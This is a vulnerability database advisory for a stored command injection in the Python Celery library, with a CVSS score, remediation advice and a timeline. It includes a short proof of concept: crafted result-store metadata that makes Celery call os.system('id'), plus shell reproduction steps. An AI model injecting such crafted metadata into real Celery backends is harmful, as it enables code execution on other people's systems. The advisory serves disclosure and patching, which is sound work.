VDB

SNYK-PYTHON-CELERY-2314953

SNYK-PYTHON-CELERY-2314953 PUBLISHED CVSS 6.599999904632568 MEDIUM

## Overview Affected versions of this package are vulnerable to Stored Command Injection. It by default trusts the messages and metadata stored in backends (result stores). When reading task metadata from the backend, the data is deserialized. Given that an attacker can gain access to, or somehow manipulate the metadata within a celery backend, they could trigger a stored command injection vulnerability and potentially gain further access to the system. ### PoC Example of modified metadata as stored in the result stores: ``` 'status': 'FAILURE', 'result': json.dumps({ 'exc_module': 'os', 'exc_type': 'system', 'exc_message': 'id' }) } ``` Reproduction steps in a Python shell: ``` from celery.backends.base import Backend from celery import Celery b = Backend(Celery()) exc = {'exc_module':'os', 'exc_type':'system', 'exc_message':'id'} b.exception_to_python(exc) ``` The result would be an output of `os.system('id')`. ## Remediation Upgrade `celery` to version 5.2.2 or higher. ## References - [Celery Changelog](https://github.com/celery/celery/blob/master/Changelog.rst#522)

Risk Scores

CVSS 3.1
6.599999904632568
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H/E:P/RL:O/RC:C

Affected Products

VendorProductVersions
0

Timeline

  • Dec 9, 2021 CVE Updated
  • Dec 29, 2021 CVE Published
Open in Interactive Console →
$ Console Community · 100/wk Open console ›